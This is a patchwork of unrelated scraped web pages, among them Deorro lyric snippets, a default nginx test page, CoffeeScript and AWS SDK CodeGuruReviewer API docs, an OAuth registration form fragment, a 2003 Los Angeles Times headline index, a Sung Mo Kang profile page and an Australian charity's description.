[by:小陀螺Tony] Prrr-ay Muñequita linda Pelos de algodone' No te vaya' ahora, mami Que esto se compone Hice un juramento Y ...  -
Feeling Pretty Good
[by:NickyRomero] 作曲 : Erick Orrosquieta 作词 : Erick Orrosquieta I'm feeling pretty good right now I'm really wish that ... -
Bad *****es (Deorro VIP Edit)
[by:Armin6] I got the *******t that maybe *****es going free Ho Ah yeah! Come on,come on,let's do Ho Ho Body,body,b... -
Rise and Shine (Radio Edit)
[by:大白天吹口哨多费电啊StillStay] [ti:Rise & Shine] [ar:Deorro] [al:Rise & Shine] Rise and shine little darling The bank has y... -
Tell Me Lies
[by:小陀螺Tony] 作曲 : Erick Orrosquieta 作词 : Amit Ofir/Lesley Teresa Roy My heart it doesn’t know what you’re doing It see... -
Guide Me
[by:ChristinaBrown] [ti:] [ar:] [al:] [by:九九Lrc歌词网～www.99Lrc.net] 作曲 : Erick Orrosquieta/Neil Ormandy 作词 : Sasha Sloan...


Find Out MoreGive us a call or send us an email and we will get back to you as soon as possible!
Mr.Surender Singh-> +91-8826264775
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It is an Event Management Company.We Are Speciallised In Organizing Cricket Tournaments.
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This page is used to test the proper operation of the nginx HTTP server after it has been installed. If you can read this page, it means that the web server installed at this site is working properly.
Website Administrator
This is the default index.html page that is distributed with nginx on the Amazon Linux AMI. It is located in /usr/share/nginx/html.
You should now put your content in a location of your choice and edit the root configuration directive in the nginx configuration file /etc/nginx/nginx.conf.


Class: Collection
| Defined in: | src\collection.coffee |
Variables Summary
- name =
-
""
- data =
-
[]
- schema =
-
{}
- errors =
-
null
- observing =
-
false
Instance Method Summary
- # (void) attach_data(data = []) Attaches data to the collection instance
- # (void) attach_schema(schema = {}) Attaches a JSON Schema to the collection instance
- # (String) errors_to_string() returns errors to a string format if any
- # (Boolean) is_valid() check to see if the schema is valid
- # (String) join(a, b) joines two or more paths together
-
#
(mixed)
findByPath(path)
Does a deep search and returns the object if found or else
undefined
Constructor Details
#
(void)
constructor(name, data = [], schema = {})
Constructs a new collection
Instance Method Details
#
(void)
attach_data(data = [])
Attaches data to the collection instance
#
(void)
attach_schema(schema = {})
Attaches a JSON Schema to the collection instance
#
(String)
errors_to_string()
returns errors to a string format if any
#
(Boolean)
is_valid()
check to see if the schema is valid
#
(String)
join(a, b)
joines two or more paths together
Examples:
join two paths
var c = new Collection("my_coll").join("path","name"); // "path.name"
join three paths
var c = new Collection("my_coll").join("path","name","[0]"); // "path.name[0]"
#
(mixed)
findByPath(path)
Does a deep search and returns the object if found or else undefined
Examples:
Find name of a person
new Collection("person",{name: "valtid"}).findByPath("[0].name");//"valtid"


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OAuth Client Registration
Registration is used to enable OAuth Authentication. Without using secure sockets (SSL), this authentication scheme is likely not secure enough for most production systems. Please do not register using sensitive names and passwords. Assume all data provided here is public. After you register your client and follow the OAuth process, you will be able to send data back and forth from the LRS to your client.
Note: If you plan on using RSA-SHA1 as your signature method, please list it as it will be set as your client secret key. Else you can leave the field blank.
{% if error_message %}- {{ error_message }}


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Saturday, August 2, 2003 | 9:15 PM PDT
Government soldier cries over mortally wounded comrade in Monrovia. (LAT)
Taylor Gives Date to Quit
By Ann M. Simmons
Liberia's leader says he will hand over power Aug. 11.
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Sources: Saudis Provided Aid to 9/11 Hijackers
By Josh Meyer
27 pages deleted from congressional report show that Saudi government gave money and aid, and also allowed millions to flow to Al Qaeda and other terrorist groups.
GOP Increasingly Defies Bush
By Janet Hook | 7:41 p.m.
a Feisty Congress gives signal that President does not have carte blanche on Capitol Hill.
Crime Casts Fear in Iraq
By John Daniszewski | 9:03 p.m.
Residents, like Hussein's former physician, who felt safe under the old regime are now being terrorized by killers, thieves and vandals.
On the Run and Issuing Orders
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Canada by cargo ship
By Margo Pfeiff
TRAVEL: The little Aurora Explorer plies British Columbia's Inside Passage, giving a novel taste of the north.
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A wild ride into revisionism
By Chris Kraul
TELEVISION: HBO explores the Mexican revolutionary's media savvy in "And Starring Pancho Villa as Himself."
Food fight
By Richard Flaste
BOOK REVIEW: At bottom, Jeremiah Tower's 'California Dish' is all about who gets credit. In this case, for the revolution in American cuisine that took place in the '70s and '80s.
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The Skin Walker
By Ann Herold
MAGAZINE: Former district attorney studies the sensuous shapes of the Walt Disney Concert Hall.
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Forecast
White Collar Blues
Government and the rich win and educated workers lose when jobs go offshore
Aussies and Power
An Iraq-induced machismo marks Australian foreign policy.
An Iraqi Patriot
Nizar Hamdoon was torn between duty to country and recognition that he worked for criminals.
More: OPINION
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| Section Headlines |
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The World
Seduced by Power in the Service of Madness
Loving the Little Emperor
Blast Razes Russian Hospital
The Nation
N.Y. Bishop Resigns, With Apologies
Theory Says Mars Moons Are Pieces of a Larger One
Licensed to Make a Statement -- and Tax the Willing -- in Florida
California
State Oyster Ban Sticks in Gulf Coast Craw
San Jose Library Marries Town, Gown
Democrats Attack Davis Over Campaign
Business
Nation's Jobless Plight Worsens
Too Many Fish Tacos on the Plate?
Kodak in Deal to Boost Digital Presence
Sports
Canton Easy
Dodgers Dejected, Ejected
Later Model Mears
Calendar
Recent Los Angeles Times movie reviews
Television highlights for this week
Find a concert or a show
Editorials, Op-Ed
A Glint of Transit Gold
Flat, and Just Plain Great
Swimmer, Know Thyself
Jury Duty Is One of the Prices We Pay for Justice
When Disaster Strikes, This Guy's Out of There
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Books
Just the right mix of pain and humor
Crunched by the market's numbers
Mean cuisine
Sunday Calendar
Mr. Wilson's neighborhood
Mightier than a Wurlitzer
A.S.K. closure is raising hard-to-answer questions
Magazine
The Skin Walker
Film Theory: Elitist Nonsense or a Critical Life Lesson?
Neon Rhapsody
Real Estate
Sold on the surf
NoHo finds its mojo in a colorful, artsy sort of way
Lessons in sparing no expense
Travel
Canada by cargo ship
Easier on the wallet in Santa Monica
Euro may be rising, but airfares to the Continent are falling
Health
Making the A-list
Fewer tests now for newborns
A paradox of celebrity behavior
Food
A duck for all seasons
Kiwis practice the art of Pinot
I'll have three Big Macs, two large fries and a lawyer
Highway 1
Still the top of the line
New-car rebates' charm on used cars
Saab switches gears, turns heads with the 9-3
Home
A fusion of color and spirit
Off the reef and red-hot
A spirit that speaks in bold tones
Sunday Opinion
Loyalty Test
Charter Schools: A Steep Learning Curve Awaits
A Thin Basis for War
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| a d v e r t i s e m e n t |
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Links
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Google Scholar Profile
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Sung Mo Kang
"My years at Merced"
IEKAS (The Information Exchange for Korean-American Scholars), June 22, 2011.
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"Michelle at Merced"
KASTN (Korean-American Science and Technology News), June 3, 2009.
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Commencement 2009 highlights video
UC Merced University Commencement 2009
May 16, 2009
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2009 Silicon Valley Engineering Hall of Fame
Induction event
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Commencement 2008 highlights video
UC Merced University Commencement 2008
May 23, 2008
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Commencement 2007 highlights video
UC Merced University Commencement 2007
May 17, 2007
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Memristive
Devices and Systems
Leon O. Chua and Sung Mo Kang
Proceedings of IEEE, vol.64, issue 2, pp.209-223, Feb. 1976.
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Memristor and
memristive
systems
UC Merced & UC Berkeley
Nov. 21, 2008
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CMOS Digital Integrated Circuits Analysis and Design
Kang, Sung-Mo (Steve)
Leblebici, Yusuf
2003
Edition: 3
ISBN:<PHONE_NUMBER>
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39th Design Contest Winner, 3rd Place
"Low-Jitter Power-Aware Non-PLL Clock Generator
for GHz Microprocessors"
Chulwoo
Kim,
Inchul
Hwang - Univ. of Illinois, Urbana, IL
Sung Mo Kang - Univ. of California, Santa Cruz, CA
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Class: Aws::CodeGuruReviewer::Types::ListRepositoryAssociationsRequest
| Relationships & Source Files | |
| Super Chains via Extension / Inclusion / Inheritance | |
|
Class Chain:
self,
Struct
|
|
|
Instance Chain:
self,
::Aws::Structure ,
Struct
|
|
| Inherits: |
Struct
|
| Defined in: | gems/aws-sdk-codegurureviewer/lib/aws-sdk-codegurureviewer/types.rb |
Overview
Constant Summary
Instance Attribute Summary
-
#max_results ⇒ Integer
rw
The maximum number of repository association results returned by
ListRepositoryAssociations
in paginated output. -
#names ⇒ Array<String>
rw
List of repository names to use as a filter.
-
#next_token ⇒ String
rw
The
nextToken
value returned from a previous paginatedListRepositoryAssociations
request wheremaxResults
was used and the results exceeded the value of that parameter. -
#owners ⇒ Array<String>
rw
List of owners to use as a filter.
-
#provider_types ⇒ Array<String>
rw
List of provider types to use as a filter.
-
#states ⇒ Array<String>
rw
List of repository association states to use as a filter.
Instance Method Summary
::Aws::Structure
- Included
| #to_hash | Alias for Structure#to_h. |
Instance Attribute Details
#max_results ⇒ Integer
(rw)
The maximum number of repository association results returned by
ListRepositoryAssociations
in paginated output. When this
parameter is used, ListRepositoryAssociations
only returns
maxResults
results in a single page with a nextToken
response
element. The remaining results of the initial request can be seen by
sending another ListRepositoryAssociations
request with the
returned nextToken
value. This value can be between 1 and 100. If
this parameter is not used, ListRepositoryAssociations
returns up
to 100 results and a nextToken
value if applicable.
# File 'gems/aws-sdk-codegurureviewer/lib/aws-sdk-codegurureviewer/types.rb', line 1051
class ListRepositoryAssociationsRequest < Struct.new( :provider_types, :states, :names, :owners, :max_results, :next_token) SENSITIVE = [] include Aws::Structure end
#names ⇒ Array
<String
> (rw)
List of repository names to use as a filter.
# File 'gems/aws-sdk-codegurureviewer/lib/aws-sdk-codegurureviewer/types.rb', line 1051
class ListRepositoryAssociationsRequest < Struct.new( :provider_types, :states, :names, :owners, :max_results, :next_token) SENSITIVE = [] include Aws::Structure end
#next_token ⇒ String
(rw)
The nextToken
value returned from a previous paginated
ListRepositoryAssociations
request where maxResults
was used and
the results exceeded the value of that parameter. Pagination
continues from the end of the previous results that returned the
nextToken
value.
# File 'gems/aws-sdk-codegurureviewer/lib/aws-sdk-codegurureviewer/types.rb', line 1051
class ListRepositoryAssociationsRequest < Struct.new( :provider_types, :states, :names, :owners, :max_results, :next_token) SENSITIVE = [] include Aws::Structure end
#owners ⇒ Array
<String
> (rw)
List of owners to use as a filter. For Amazon Web Services
::Aws::CodeCommit
, it is the name of the ::Aws::CodeCommit
account that was used
to associate the repository. For other repository source providers,
such as Bitbucket and GitHub Enterprise Server, this is name of the
account that was used to associate the repository.
# File 'gems/aws-sdk-codegurureviewer/lib/aws-sdk-codegurureviewer/types.rb', line 1051
class ListRepositoryAssociationsRequest < Struct.new( :provider_types, :states, :names, :owners, :max_results, :next_token) SENSITIVE = [] include Aws::Structure end
#provider_types ⇒ Array
<String
> (rw)
List of provider types to use as a filter.
# File 'gems/aws-sdk-codegurureviewer/lib/aws-sdk-codegurureviewer/types.rb', line 1051
class ListRepositoryAssociationsRequest < Struct.new( :provider_types, :states, :names, :owners, :max_results, :next_token) SENSITIVE = [] include Aws::Structure end
#states ⇒ Array
<String
> (rw)
List of repository association states to use as a filter.
The valid repository association states are:
Associated: The repository association is complete.
Associating: CodeGuru Reviewer is:
- Setting up pull request notifications. This is required for pull requests to trigger a CodeGuru Reviewer review.
If your repository ProviderType
isGitHub
,GitHub Enterprise Server
, orBitbucket
, CodeGuru Reviewer creates webhooks in your repository to trigger CodeGuru Reviewer reviews. If you delete these webhooks, reviews of code in your repository cannot be triggered.- Setting up source code access. This is required for CodeGuru Reviewer to securely clone code in your repository.
Failed: The repository failed to associate or disassociate.
Disassociating: CodeGuru Reviewer is removing the repository's pull request notifications and source code access.
Disassociated: CodeGuru Reviewer successfully disassociated the repository. You can create a new association with this repository if you want to review source code in it later. You can control access to code reviews created in anassociated repository with tags after it has been disassociated. For more information, see Using tags to control access to associated repositories in the Amazon CodeGuru Reviewer User Guide.
# File 'gems/aws-sdk-codegurureviewer/lib/aws-sdk-codegurureviewer/types.rb', line 1051
class ListRepositoryAssociationsRequest < Struct.new( :provider_types, :states, :names, :owners, :max_results, :next_token) SENSITIVE = [] include Aws::Structure end


The team at Open House is deeply and proudly committed to a friendship based model, with outreach to old, young, disadvantaged, disabled and lonely people left behind, unwanted, unloved, or forgotten by society. For all these people we are “A place to belong," For many participants in our programs, we are their family. A lot of our work is with disadvantaged youth from low socio-economic circumstances. Our early involvement in their lives helps them re-engage and stay on the straight and narrow. We help prevent them, through our offers of friendship, one on one mentoring, and role modelling, from taking troublesome paths that might otherwise lead to detention, suicide, violence, unemployment, teen pregnancy, drug dependency, or other serious consequences. Multiple participants come back, sometimes decades later, to say Open House literally saved their, or their loved ones', lives. We serve people of all ages from babies or young children and their caregivers, through to older Australians. Open House receives some funding from the government but our work is really made possible by donations from generous individuals, organisations and sponsors. They are our lifeline.